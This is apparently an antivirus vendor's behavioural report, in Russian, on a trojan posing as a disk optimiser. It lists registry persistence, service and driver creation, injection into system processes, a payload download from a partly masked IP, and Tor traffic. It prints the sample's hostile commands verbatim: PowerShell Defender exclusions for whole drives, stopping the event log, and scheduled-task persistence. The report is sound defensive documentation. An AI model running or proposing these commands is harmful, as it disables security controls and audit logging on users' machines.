Trojan.Siggen32.26850

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsSystemOptimizer5482' = '"%LOCALAPPDATA%\DiskOptim_Pro_v7_4331\SystemHelper.exe"'
[HKLM\Software\Microsoft\Windows\CurrentVersion\Run] 'WindowsSystemOptimizer5482' = '"%LOCALAPPDATA%\DiskOptim_Pro_v7_4331\SystemHelper.exe"'

Создает или изменяет следующие файлы

%APPDATA%\microsoft\windows\start menu\programs\startup\windowssystemoptimizer5482.lnk
<SYSTEM32>\tasks\systemoptimizertask_940

Устанавливает следующие настройки сервисов

[HKLM\SYSTEM\CurrentControlSet\Services\LTGOGDMM] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\LTGOGDMM] 'ImagePath' = '%ALLUSERSPROFILE%\bfzuclqspvdv\edatmgbgynbe.exe'
[HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%WINDIR%\TEMP\WinRing0x64.sys'

Создает следующие сервисы

'LTGOGDMM' %ALLUSERSPROFILE%\bfzuclqspvdv\edatmgbgynbe.exe
'WinRing0_1_2_0' %WINDIR%\TEMP\WinRing0x64.sys

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует:

Журнал событий Windows (Windows Event Logging)

добавляет исключения антивируса:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\DiskOptim_Pro_v7_4331""
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "C:\Users""
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "%ALLUSERSPROFILE%""
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "%WINDIR%""
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "C:\Program Files""
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "C:\Program Files (x86)""
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "%WINDIR%\Temp""

Внедряет код в

следующие системные процессы:

<SYSTEM32>\conhost.exe
<SYSTEM32>\svchost.exe

Изменения в файловой системе

Создает следующие файлы

%TEMP%\tmp_41.tmp
%TEMP%\tmp_10432.tmp
%TEMP%\tmp_3327.tmp
%TEMP%\tmp_29792.tmp
%TEMP%\tmp_18388.tmp
%LOCALAPPDATA%\diskoptim_pro_v7_4331\systemhelper.exe
%ALLUSERSPROFILE%\bfzuclqspvdv\edatmgbgynbe.exe
%WINDIR%\temp\lbzkpawgsqsf.sys

Удаляет файлы, которые сам же создал

%TEMP%\tmp_41.tmp
%TEMP%\tmp_10432.tmp
%TEMP%\tmp_3327.tmp
%TEMP%\tmp_29792.tmp
%TEMP%\tmp_18388.tmp

Подменяет следующие файлы

%TEMP%\tmp_41.tmp
%TEMP%\tmp_10432.tmp
%TEMP%\tmp_3327.tmp
%TEMP%\tmp_29792.tmp
%TEMP%\tmp_18388.tmp

Сетевая активность

Подключается к

'62.##.226.97':5553
'po##.#ashvault.pro':443
'tr####rmago.live':443
'localhost':9050

TCP

Запросы HTTP GET

http://62.##.226.97:5553/kopilka.exe via 62.##.226.97

Другие

'po##.#ashvault.pro':443
'tr####rmago.live':443

UDP

DNS ASK po##.#ashvault.pro
DNS ASK tr####rmago.live

Другое

Создает и запускает на исполнение

'%LOCALAPPDATA%\diskoptim_pro_v7_4331\systemhelper.exe'
'%ALLUSERSPROFILE%\bfzuclqspvdv\edatmgbgynbe.exe'

Запускает на исполнение

'<SYSTEM32>\schtasks.exe' /create /tn "SystemOptimizerTask_940" /tr "%LOCALAPPDATA%\DiskOptim_Pro_v7_4331\SystemHelper.exe" /sc onlogon /rl highest /f (со скрытым окном)
'<SYSTEM32>\sc.exe' delete "LTGOGDMM"
'<SYSTEM32>\sc.exe' create "LTGOGDMM" binpath= "%ALLUSERSPROFILE%\bfzuclqspvdv\edatmgbgynbe.exe" start= "auto"
'<SYSTEM32>\sc.exe' stop eventlog
'<SYSTEM32>\sc.exe' start "LTGOGDMM"
'<SYSTEM32>\svchost.exe'
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "%LOCALAPPDATA%\DiskOptim_Pro_v7_4331"" (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "C:\Users"" (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "%ALLUSERSPROFILE%"" (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "%WINDIR%"" (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "C:\Program Files"" (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "C:\Program Files (x86)"" (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Add-MpPreference -ExclusionPath "%WINDIR%\Temp"" (со скрытым окном)
'%LOCALAPPDATA%\diskoptim_pro_v7_4331\systemhelper.exe' (со скрытым окном)